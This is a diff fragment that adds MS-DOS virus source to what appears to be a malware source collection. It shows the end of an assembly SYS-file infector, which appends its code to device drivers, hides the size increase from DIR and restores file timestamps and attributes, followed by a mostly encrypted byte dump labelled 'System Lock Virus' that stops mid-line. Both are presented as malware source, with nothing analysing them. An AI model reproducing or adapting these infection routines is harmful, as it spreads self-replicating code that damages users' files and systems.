otherwise, convert to regular FCB + regularFCB: + mov cx, [bx+29] ; get file size + mov word ptr cs:[bp+filesize], cx + + push cs ; ES = CS + pop es + + cld + + ; The following code converts the FCB to an ASCIIZ string + lea di, [bp+filename] ; destination buffer + lea si, [bx+1] ; source buffer - filename + + cmp word ptr [si],'OC' ; do not infect CONFIG.SYS + jz bombout + + mov cx, 8 ; copy up to 8 bytes + back: cmp byte ptr ds:[si], ' ' ; is it a space? + jz copy_done ; if so, done copying + movsb ; otherwise, move character to buffer + loop back + + copy_done: + mov al, '.' ; copy period + stosb + + mov ax, 'YS' + lea si, [bx+9] ; source buffer - extension + cmp word ptr [si], ax ; check if it has the SYS + jnz bombout ; extension and exit if it + cmp byte ptr [si+2], al ; does not + jnz bombout + stosw ; copy 'SYS' to the buffer + stosb + + mov al, 0 ; copy null byte + stosb + + push ds + pop es ; es:bx -> DTA + + push cs + pop ds + + xchg di,bx ; es:di -> DTA + ; open file, read/only + call open ; al already 0 + jc bombout ; exit on error + + mov ah, 3fh ; read first + mov cx, 2 ; two bytes of + lea dx, [bp+buffer] ; the header + int 21h + + mov ah, 3eh ; close file + int 21h + + InfectSYS: + inc word ptr cs:[bp+buffer] ; if first word not FFFF + jz continueSYS ; assume already infected + ; this is a safe bet since + ; most SYS files do not have + ; another SYS file chained on + + alreadyinfected: + sub es:[di+29], heap - header ; hide file size increase + ; during a DIR command + ; This causes CHKDSK errors + ;sbb word ptr es:[di+31], 0 ; not needed because SYS files + ; are limited to 64K maximum + + bombout: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + pop bp + iret + + continueSYS: + push ds + pop es + + lea si, [bp+offset header] + lea di, [bp+offset bigbuffer] + mov cx, offset endheader - offset header + rep movsb + + mov cx, cs:[bp+filesize] + add cx, offset _strategy - offset header ; calculate offset to + mov word ptr [bp+bigbuffer+6],cx ; strategy routine + + add cx, offset _interrupt - offset _strategy;calculate offset to + mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine + + continueinfection: + mov ax, 4300h ; get file attributes + lea dx, [bp+filename] + int 21h + + push cx ; save attributes on stack + push dx ; save filename on stack + + mov ax, 4301h ; clear file attributes + xor cx, cx + lea dx,[bp+filename] + int 21h + + call openreadwrite + + mov ax, 5700h ; get file time/date + int 21h + push cx ; save them on stack + push dx + + mov ah, 40h ; write filesize to the old + mov cx, 2 ; SYS header + lea dx, [bp+filesize] + int 21h + + mov ax, 4202h ; go to end of file + xor cx, cx + cwd ; xor dx, dx + int 21h + + mov ah, 40h ; concatenate header + mov cx, offset endheader - offset header + lea dx, [bp+bigbuffer] + int 21h + + mov ah, 40h ; concatenate virus + mov cx, offset heap - offset endheader + lea dx, [bp+endheader] + int 21h + + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 21h + + mov ah, 3eh ; close file + int 21h + + mov ax, 4301h ; restore file attributes + pop cx + pop dx + int 21h + + jmp bombout + + openreadwrite: + mov al, 2 ; open read/write mode + open: mov ah, 3dh + lea dx,[bp+filename] + int 21h + xchg ax, bx ; put handle in bx + ret + + heap: + savebx dw ? + savees dw ? + buffer db 2 dup (?) + filename db 13 dup (?) + filesize dw ? + bigbuffer db offset endheader - offset header dup (?) + endheap: + + end header diff --git a/MSDOS/Virus.MSDOS.Unknown.syslock.asm b/MSDOS/Virus.MSDOS.Unknown.syslock.asm new file mode 100644 index 00000000..95fd03d4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.syslock.asm @@ -0,0 +1,224 @@ +嬪様様様様様様様様様様様様様様様様様様様様様様様邑 + System Lock Virus Source. + Ripped by : The Head Hunter [FS] + + I don't know what it do, and don't wanna know + for sure... One thing... It does it. +塒様様様様様様様様様様様様様様様様様様様様様様様余 +Main: JMP Jmp0 + db 02,00,00,00,02,00,00,00,00,00,00,00,00,00,39,28,46,03,03,01 +Jmp0: + MOV CX, CS + MOV DX, CX + ADD CX, 0017h + PUSH CX + XOR CX, CX + PUSH CX + RETF + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90 + db 90,90,90,90,90,ff,ff,ff,ff,35,08,36,08,ff,ff,38,08,bb,01,00 + db 90,eb,16,bb,02,00,90,eb,10,39,65,02,00,c1,07,01,01,0c,03,00 + db 00,0c,00,8d,90,8c,d9,8c,cf,8e,df,8e,c7,8e,d7,8b,fc,bc,dd,0d + db fc,e8,03,00,e9,48,06,50,51,56,be,59,00,b9,26,08,90,d1,e9,8a + db e1,8a,c1,33,06,14,00,31,04,46,46,e2,f2,5e,59,58,c3,e8,df,ff + db cd,21,cc,da,ff,c3,4e,42,48,9a,ed,54,a8,3f,ce,2d,89,cc,02,cc + db 33,dd,f0,f6,8d,cb,5b,50,5d,c8,59,8e,de,ed,0e,06,82,d7,e7,02 + db 0e,5b,ce,51,5d,89,29,4d,f6,2f,1a,16,f8,ff,7d,22,1e,fa,f5,a3 + db af,38,ab,a7,a8,74,1a,f9,f8,7d,68,54,fe,45,ff,3f,dd,a9,b8,b4 + db 21,dd,d0,dc,d3,db,d2,de,d1,d1,dc,ab,a6,a8,af,a1,ac,51,d9,2b + db c9,24,dc,29,54,e5,ed,72,14,20,83,8f,66,e2,6b,8a,d9,66,cb,d8 + db 46,52,cb,88,dd,16,fa,a6,c6,5e,cf,8a,d1,d4,c9,ba,d7,e2,1d,6b + db d8,d3,12,2e,13,1d,23,34,4b,07,46,0a,d0,c9,46,1b,c4,90,93,07 + db 9a,96,98,94,9f,91,c4,1b,bb,c2,26,b3,5c,60,0b,b4,5a,13,4e,82 + db b3,c2,b4,53,e6,29,3b,bc,06,b3,9d,3a,bc,99,b9,85,78,3c,77,47 + db 'o:E@' + db 12,95,9b,a9,d7,54,22,69,a3,24,70,40,15,a9,d7,87,25,95,1d,ac + db ab,a5,dd,a3,40,20,50,4b,ad,49,d7,5d,de,b8,2b,9c,d0,16,8f,cc + db 99,52,b6,ea,86,2d,d5,20,2c,93,22,96,9a,1e,87,c4,91,5a,be,e3 + db 9e,0d,16,45,12,95,31,84,a4,03,87,a2,80,67,46,88,0a,57,0b,4c + db 19,d5,d4,de,d3,de,d1,45,db,d1,37,80,8e,0b,93,b9,85,03,90,6c + db 06,70,f1,40,34,76,59,0c,27,c1,76,7a,9f,37,eb,fe,64,4e,70,f6 + db 9b,b7,0a,32,c0,35,74,f2,40,5d,17,61,e2,51,41,1a,55,ef,5b,68 + db 12,59,23,81,8a,eb,17,65,29,10,7b,e6,14,65,20,15,62,e1,11,61 + db 21,16,55,e4,53,5d,ba,48,c0,df,2b,59,13,2c,5a,da,28,59,03,21 + db 53,d5,25,55,1d,22,5c,e8,5c,51,03,09,9f,03,10,1d,10,53,cd,8e + db ce,97,ff,48,05,84,64,55,36,7d,c2,4a,6a,4c,57,ca,88,c9,97,c1 + db af,bf,b2,fa,4d,00,fe,1d,2d,4f,10,20,bc,ff,b9,e0,8e,3b,08,f7 + db 15,24,49,20,b1,ed,9a,64,31,8f,3f,67,f3,10,4f,3a,b5,25,01,25 + db ab,23,05 + db ''zv|p' + db e5 + db 'yv{v}' + db a0,d6,a1,3b,7b,2f,a3,29,0b,29,a5,37,0f,2b,94,22,44,d1,33,6f + db 06,aa,2e,d2,36,6a,07,07,9e,14,34,12,97,d4,94,cd,92,c0,a0,16 + db 5c,dd,3f,0e + db 'CHEH[' + db cf + db 'R\SYV' + db b0,bd,00,8d,c6,37,ca,f6,a5,88,eb,0e,bb,4d,0f,b1,0a,0f,f3,aa + db '^SXU[0' + db ac,a1,ac,a3,46,f0,bd,c4,31,c5,2b,7e,e4,a6,f2,36,d5,a0,ac,a2 + db ae,3b,a7,ac,a1,ac,49,ff,b0,cf,3a,68,f2,a2,e4,60,0d,ef,ef,5d + db f8,e6,c2,36,6b,06,e4,eb,6d,fc,fd,e9,6d,f6,b5,e6,2d,cf,bb,b4 + db b9,b4,20,83,8f,83,8f,86,88,6e,fe,df,67,a9,d1,6c,f9,d4,4b,28 + db 70,59,eb,9b,df,d8,a3,dc,39,5b,d1,5c,ec,9c,da,c3,3c,b0,c9,38 + db 25,ba,5f,73,f7,7c,e8,cd,73,e7,cb,5b,4f,d4,97,c0,0b,e9,b4,cc + db 2b,a8,51,4c,fc,ed,cb,fe,e6,c7,b9,48,55,ea,2f,09,b6,be,06,94 + db b2,35,7c,ab,b4,03,b3,b9,26,4b,11,ca,b4,47,5a,f9,22,1d,f3,aa + db a9,a2,ac,f1,8b,af,af,ff,dc,a0,8c,55,55,a1,bb,ab,15,ae,76,41 + db 05,b2,af,47,e6,51,d3,89,16,ec,19,6d,9b,2b,be,91,0e,1b,81,c5 + db 91,5b,b8,e7,89,7c,dd,64,e6,94,21,d9,a5,4a,2e,40,9d,15,8f,cf + db 9b,74,7d,7f,10,3c,f2,89,31,a1,87,3e,ab,86,19,76,2e,19,d5,d4 + db de,d3,de,d1,45,d8,d4,de,d2,d9,d7,33,c6,84,3c,d1,74,cb,77,71 + db ee,83,db,d6,6e,76,da,d9,72,b3 + db '}mtzu' + db cd,49,c2,23,76,c9,62,71,ed,f9,62,21,6a,a1,43,1e,63,85,da,ce + db 01,61,c5,73,65,57,d2,17,1e,60,93,8c,a4,66,c9,3f,66,28,d4,61 + db 6f,95,8e,60,55,0a,5b,de,83,5e,6b,49,15 + db 'Q#_n\' + db 14,52,2f,50,a3,bc,f4,56,f9,3d,56,f3,1a,59,fc,3a,55,f0,05,44 + db e3,2f,48,ed,08,47,e6,2c,4f,ea,0f,42,83 + db 'M#MLE' + db 8e,40,2c,4e,92,4d,c5,5f,0f,4b,c7,55,73,35,62,b6,f3,1b,3f,3f + db 6f,4c,31,b8,d7,ca,cb,b8,f9,24,b9,e6,39,8f,3c,37,ee,db,ef,eb + db df,c8,17,25,7f,25,ab,3b,4b,27,a9,39,45,21,af,3f,69,22,85,7d + db 22,74,0f + db '*)~\!' + db 0a,d0,d1,24,3d,22,29,fc,1e,97,ca,38,ee,1f,65,1c,af,18,14,ba + db 43,13,a5,12,c8,ff,1b,0b,41,1f,df,11,79,19,a8,6d,f5,30,e2,61 + db 21,b8,42,b7,55,07,b9,13,07,98,8d,17,57,03,c9,2a,79,15,e2,27 + db f7,b2,48,34,dd,b9,d1,0c,86,1c,5e,0a,1b,30,09,43,53,f6,4f,bb + db ff,41,fc,f9,65,09,50,5a,57,fc,59,e3,f9,a8,a7,ad,a6,ab,a6,32 + db ad,a0,03,f5,e3,e4,58,57,e9,06,d7,12,95,c0,5e,19,15,02,4c,10 + db 48,f0,ea,0d,22,1b,9a,fd,6c,de,f0,e8,ec,96,e5,60,ed,c2,db,df + db a5,d9,3b,d5,3f,2d,2b,32,d6,32,72,25,a8,d5,23,6f,63,de,44,3f + db 8e,2d,21,df,dd,da,41,89,9b,0f,41,f3,77,c6,c1,bb,ce,69,d0,c9 + db 4e,d4,c4,c3,20,cb,cc,4b,cf,76,c0,e1,6e,c4,cf,e7,46,dc,ce,c2 + db b4,7f,e1,ec,e3,1e,fe,b7,b3,f9,14,dc,bd,02,b4,86,01,d1,b2,78 + db 98,c5,bc,84,7f,5b,a9,3a,65,06,83,0a,a1,ac,18,e2,a9,63,81,dd + db 49,1c,98,64,84,d8,4c,0a,e4,ac,f0,fc,f2,65,f8,f4,fe,f2,0d,ee + db a5,16,90,1a,95,9c,28,f8,99,53,b1,14,4f,2c,d6,20,97,9a,2e,d4 + db 93,59,bb,21,a7,5b,b9,cd,c6,cb,c6,52,cd,c1,cd,c1,d5,db,84,01 + db 59,00,40,67,ff,77,c6,b4,81,8a,f1,89,b8,44,62,f8,72,32,91,4a + db ae,22,c0,89,39,b4,06,95,3d,74,8c,bf,bc,5f,f1,86,77,7c,08,7a + db 9c,d5,74,f2,75,00,73,82,9b,d5,0f,7e,97,17,81,d2,0d,7b,c4,53 + db 63,cf,10,64,c0,1e,69,54,61,1f,6f,1b,63,ad,62,1b,62,64,6a,ee + db 7f,16,61,c7,21,68,d5,18,64,db,6d,63,9e,79,0a,2f,96,98,56,29 + db 5e,58,c6,e6,55,5a,ea,0a,53,de,5e,13,53,96,2c,46,6d,d5,27,58 + db 1a + db 'ib'J8oi' + db 9e,3b,a7,a4,af,8e,40,3f,4c,4b,d4,1d,1c,15,f4,1e,41,ff,41,47 + db df,6b,b7,cb,c8,3b,45,67,13,36,36,b5,b4,47,39,79,70,da,c6,60 + db 6a,64,df,85,9b,42,33,3f,f9,43,3a,dc,2d,90,70,39,86,4b,35,8a + db 22,2c,a9,3b,51,27,ed,09,7f,5a,35,d6,23,5a,2d,d4,25,56,23,51 + db 2a,cf,44,d8,8e,50,27,c9,d5,dc + db '+|MFKFI' + db dd,41,48,41,1e,98,1f,a7,12,32,95,1d,38,1a,26,e6,a8,6d,1f,a6 + db 1a,1e,81,ee,b4,68,00,25,8c,3f,0d,75,0d,47,e4,f0,4f,20,89,38 + db 0a,71,ee,f3,ef,0b,fc,0e,58,57,5e,cc,a3,a0,09,84,1c,ba,0b,7a + db f2,40,f5,78,e8,40,f7,7e,c6,42,f1,1d,4d,0b,88,f8,1d,13,f5,11 + db bd,06,ca,ff,f0,8a,f2,14,39,fc,1b,f2,16,de,ef,94,e0,58,ea,e7 + db 00,4a,10,d8,eb,e4,9f,e8,0d,5c,e5,5d,fc,52,c1,e6,2d,cf,27,eb + db 58,e4,e3,43,63,68,d5,68,fe,d3,ed,17,2a,78,96,13,df,88,1d,9e + db d5,f0,13,9c,d4,f6,11,9a,d3,f4,17,98,d6,dc,68,c3,cc,78,77,c9 + db 7a,8e,76,fe,c8,0b,e8,b7,c5,2c,4e,31,f9,ca,c5,bd,c7,8b,73,80 + db 0d,ef,2a,22,c9,17,b6,b0,57,c8,2d,3a,7d,f8,57,f9,41,f6,32,6d + db 00,0e,b3,0f,fa,03,8c,b9,7b,99,c4,bc,5b,dc,21,55,e5,46,8e,a3 + db ac,d6,b8,ea,db,b2,92,a4,a8,d2,ba,98,ab,a4,df,8e,99,a8,a5,dd + db 86,43,e2,3f,14,e1,6c,8c,49,74,1c,29,94,19,52,a3,5e,62,31,14 + db 77,92,27,d1,93,2d,96,9b,67,3e,7c,f2,69,3b,89,96,78,98,6a,75 + db af,61,e1,84,64,fc,70,c1,66,0a,76,6c,9b,32,a3,48,ab,bf,85,9b + db 84,f8,8c,b2,90,9a,87,fd,83,66,5e,70,9c,2d,31,7b,f2,aa,c7,f1 + db 7e,c4,65,ba,59,69,fa,4b,cc,7c,7a,0f,7f,f9,4b,cf,7e,7a,03,5b + db c4,32,bc,5c,d3,cc,7b,ed,ac,db,4e,61,fe,de,4e,6f,d7,66,68,96 + db ce,e8,aa,d1,64,6b,e9,a9,e8,b8,ec,49,d4,66,8a,71,ee,a4,48,55 + db 10,5a,d6,5f,16,58,5c,9f,d6,87,d2,73,10,5c,d0,55,10,52,56,91 + db dd,4e,11,57,d9,48,ab,5a,db,52,af,44,ed,ec,45,ca,40,f2,47,c9 + db 91,c8,88,76,91,cf,80,c0,97,c1,b6,c2,bd,c3,ac,a5,40,4e,41,4d + db a9 + db 'XA3<2?1>0?78695' + db 03,1c,7d,38,37,3b,b9,f0,bd,e9,b6,fe,27,3e,60,0e,fb,6d,f8,c8 + db 2c,9e,2d,20,96,21,63,ea,09,b6,b9,b5,ba,b4,bb,bb,b4,ba,b5,b9 + db b6,b8,b7,bf,b0,be,b1,bd,b2,bc,b3,83,8c,82,1d,11,a6,12,38,15 + db 18,1e,f8,14,1a,14,1b + db 'V]YGVEWQK' + db 10 + db 'SP^@S@LJV' + db 0d + db '!4\KH[ZB@SF%[GG' + db 05 + db 'Z_[K@CE